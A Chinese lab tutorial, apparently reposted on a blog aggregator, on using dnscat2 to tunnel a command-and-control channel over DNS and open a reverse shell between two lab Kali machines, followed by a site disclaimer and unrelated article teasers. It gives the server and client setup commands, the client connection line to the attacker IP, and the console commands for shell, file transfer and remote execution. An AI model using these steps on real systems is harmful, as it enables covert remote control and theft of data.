阿一课代表今日分享之使用dnscat2 进行dns隧道反弹shell(直连模式linux对linux)

DNS介绍

DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS的记录类型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。

AAAA记录:记录将域名解析到一个指定的ipv6的ip上

CNAME记录,别名解析。可以将注册不同的域名解析到一个ip地址。

NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。

MX记录:指向的是一个邮件服务器。

TXT记录:一般是指某个主机名或域名的说明

PTR记录:反向DNS

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

本地客户端---->Local DNS server---->根域服务器

Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。

Dnscat2工具介绍

Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
Dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以 dnscat 开头的,因此防火墙可以很容易地将直连模式的通信检测出来

环境搭建

攻击机/服务端

kali/2024

192.168.227.128

靶机/客户端

kali/2023

192.168.227.130

linux服务端搭建

git clone https://github.com/iagox86/dnscat2.git 下载dnscat2工具

cd dnscat2/server/ 进入server目录,因为我们这里是搭建服务端

gem install bundler
gem install bundler 是一个在 Ruby 环境中使用的命令,用于安装 Bundler 这个 gem(gem 是 Ruby 的包管理器)Bundler 是一个帮助管理 Ruby 项目依赖的工具,它可以确保你的项目在不同的环境中使用相同版本的 gems

apt-get install ruby-dev
ruby-dev 包包含了 Ruby 的头文件和静态库,这对于编译和安装需要构建本地扩展的 Ruby gems 是必需的

bundle install
在 Ruby 项目中,当你看到 bundle install 命令时,它通常用于安装项目所需的依赖包。这个命令是 Bundler 这个 Ruby gem 的一部分,Bundler 是一个管理 Ruby 项目依赖的工具

linux客户端搭建

$ git clone https://github.com/iagox86/dnscat2 /*下载工具*/
$ cd dnscat2/client/                           /*进入目录*/
$ make                                         /*使用makefile来编译客户端*/

Dnscat2反弹shell

1.首先在服务端运行

ruby ./dnscat2.rb

红色方框中的这段复制到客户机上,记得把IP换成服务端IP:

这里就是192.168.227.128(kali2024的ip)

./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256

客户端操作

./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256

服务端反馈及操作

windows   列出所有隧道
当前建立好了一条隧道

window -i 1   连接客户端1通道 1表示隧道建立的窗口号

隧道内的操作命令

help可查看控制台支持的命令,常用的有:

quit (退出控制台)

kill (中断通道)

set(设值,比如设置security=open)

windows(列举出所有的通道)

window -i (连接某个通道)

连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

clear(清屏)

delay(修改远程会话超时时间)

exec(执行远程机上的程序)

shell(得到一个反弹shell)

download/upload(两端之间上传下载文件)

supend(返回到上一层,等于快捷键ctrl+z)

exit(退出dnscat2)

反弹shell

在当前隧道内输入shell就会创建一个会话回来
shell

ctrl+z返回到上一层      

然后我们需要进入这个会话
window -i 6

查看ip

总结

大致步骤就是:

进入服务端的目录下:安装Bundler 这个帮助管理 Ruby 项目依赖的工具-->安装Ruby 开发包-->安装Bundler 项目所需的依赖包

进入客户端的目录下:make(这个命令会尝试使用 Makefile(如果存在的话)来编译客户端。Makefile 是一个脚本,它告诉 make 命令如何编译和链接程序。)

启动服务端(ruby ./dnscat2.rb)将里面的连接代码去客户端运行(默认端口为53

隧道建立好以后help有一些后续操作,反弹shell直接输入shell就行了

ctrl+z返回到dnscat2界面输入windows查看所有通道,然后进入window -i id反弹回来的shell会话

然后就可以正常执行命令操作目标机器了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/789398.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据结构--二叉树收尾

1.二叉树销毁 运用递归方法 分类: 根节点左子树右子树(一般都是这个思路,不断进行递归即可) 选择方法(分析): 前序:如果直接销毁根就无法找到左子树右子树 中序:也会导致丢失其…

非关系型数据库(NoSQL)与 关系型数据库(RDBMS)的比较

非关系型数据库(NoSQL)与 关系型数据库(RDBMS)的比较 一、引言二、非关系型数据库(NoSQL)2.1 优势 三、关系型数据库(RDBMS)3.1 优势 四、结论 💖The Begin💖…

【ai_agent】从零写一个agent框架(四)用rust制作一个python的虚拟运行环境。

前言 为了增加框架的扩展性和适用性,我们要能够在流程节点中运行python脚本。 这个时候需要考虑几个问题: 1 为什么是python? 思考:老实说我并不喜欢python,我更倾向于lua这种短小轻快的脚本。在我之前写的规则引擎…

fm足球经理Football Manager 2022 for mac 下载安装包

《Football Manager 2022》(足球经理2022)是一款由Sports Interactive开发并由SEGA发行的足球管理模拟游戏。这款游戏让玩家扮演足球俱乐部的 manager(经理),负责球队的所有管理工作,包括战术制定、球员转会…

优画质低功耗,空域GPU超分技术引领图像渲染新体验

随着大数据时代的发展,虚拟现实、增强现实等需要实时图像处理和计算的应用,对GPU加速引擎服务提出了新的挑战和机遇。 HarmonyOS SDK GPU加速引擎服务(XEngine Kit)提供的空域GPU超分能力,基于单帧输入图像&#xff0…

NLP入门——卷积语言模型的搭建、训练与预测

语言模型建模是针对句子建模,主要分为掩码语言模型和自回归语言模型。 我们从corpus中截取一句话作为例子,这句话是bpe分词后的句子: 1994 年 5 月 17 日 安全 理事会 第 33 77 次 会议 通过 掩码语言模型的主要机制是:例如将33 7…

力扣爆刷第162天之TOP100五连刷76-80(最小路径和、最长公共前缀、最长连续序列)

力扣爆刷第162天之TOP100五连刷76-80(最小路径和、最长公共前缀、最长连续序列) 文章目录 力扣爆刷第162天之TOP100五连刷76-80(最小路径和、最长公共前缀、最长连续序列)一、64. 最小路径和二、221. 最大正方形三、162. 寻找峰值…

OpenCV距离变换函数distanceTransform的使用

操作系统:ubuntu22.04OpenCV版本:OpenCV4.9IDE:Visual Studio Code编程语言:C11 功能描述 distanceTransform是OpenCV库中的一个非常有用的函数,主要用于计算图像中每个像素到最近的背景(通常是非零像素到零像素&…

「C++系列」C++ 修饰符类型

文章目录 一、C 修饰符类型1. 访问修饰符(Access Modifiers)2. 存储类修饰符(Storage Class Specifiers)3. 类型修饰符(Type Modifiers)4. 函数修饰符 二、C 修饰符类型-案例1. 访问修饰符案例2. 存储类修饰…

JavaSE 面向对象程序设计进阶 IO流 字符输入输出流及底层原理

目录 字符输入流FileReader 空参的read方法 带参的read方法 字符输出流FileWriter 字符输入流底层原理 字符输出流底层原理 字符输入流FileReader 输入流 一次读一个字节 遇到中文时 一次读多个字节 输出流 底层会把数据按照指定的编码方式进行编码 在变成直接写到文件当…

Defensor 4.5:构建数据资产为中心的安全运营体系

5月31日“向星力”未来数据技术峰会上,星环科技重磅发布数据安全管理平台 Defensor 4.5版本。新版本引入了以数据资产为中心的数据安全运营体系,通过智能化大模型技术,帮助企业快速、精准地识别核心重要资产;建设全局的数据安全策…

昇思MindSpore学习笔记6-04计算机视觉--Shufflenet图像分类

摘要: 记录MindSpore AI框架使用ShuffleNet网络对CIFAR-10数据集进行分类的过程、步骤和方法。包括环境准备、下载数据集、数据集加载和预处理、构建模型、模型训练、模型评估、模型测试等。 一、概念 1.ShuffleNet网络 旷视科技提出的CNN模型 应用在移动端 通…

【JavaSE】图书管理系统

目录 最终效果book包Book类BookList类 user包User类AdmiUser类(管理员类)NormalUser类(普通用户类) opeeration包IOperation接口FindOpertion类(查找操作)AddOpertion类(增加操作)De…

关于解决双屏幕鼠标移动方向问题

1.点开设置》系统》屏幕 2.分清屏幕标识,一般笔记本为1 3.点击要移动的屏幕,然后按住鼠标左键不方进行移动 感谢您的浏览,希望可以帮到您!

探索多模态预训练:MAnTiS、ActionCLIP、CPT与CoOp的Prompt技巧

上一篇博文整理了 预训练新范式(Prompt-tuning,Prefix-tuning,P-tuning) ,主要是围绕NLP上的成果,具体的概念本文也不做过多赘述。本篇文章将主要整理几篇有代表性的Prompt方法在多模态领域中的应用。 Mult…

unity使用 MQTT复现plant simulate仿真

unity使用 MQTT复现plant simulate仿真 一、plant simulate端配置 1、plant simulate MQTT组件配置,该组件在类库的信息流类目下,端口不变,填写ip即可; 2、设备配置界面,在控件入口和出口处各挂一个脚本,当物料出入该设备时会分别触发执行这两个脚本,粘贴如下代码; E…

视频怎么压缩变小?最佳视频压缩器

即使在云存储和廉价硬盘空间时代,大视频文件使用起来仍然不方便。无论是存储、发送到电子邮件帐户还是刻录到 DVD,拥有最好的免费压缩软件可以确保您快速缩小文件大小,而不必担心视频质量下降。继续阅读以探索一些顶级最佳 免费视频压缩器选项…

小红书矩阵管理系统:多账号运营的智能解决方案

随着社交媒体的多元化发展,内容创作者和品牌商越来越需要一个能够高效管理多个账号的系统。小红书作为国内领先的生活分享平台,其矩阵管理系统应运而生,为用户带来了多账号发布、批量剪辑视频以及一键分发的便捷功能。本文将详细介绍小红书矩…

必看!微信小程序必备证书!

微信小程序必备SSL证书。在日益增长的数字经济中,微信小程序已成为商家与消费者之间重要的交互平台。由于其便捷性和广泛的用户基础,越来越多的企业选择通过小程序来提供服务。然而,在开发和部署微信小程序时,确保数据安全是一个不…

数据结构笔记之树常考性质6

总结: 具有n个结点的m叉树的最小高度可以通过计算并向下取整得到。高度最小时的情况是所有结点都有m个孩子。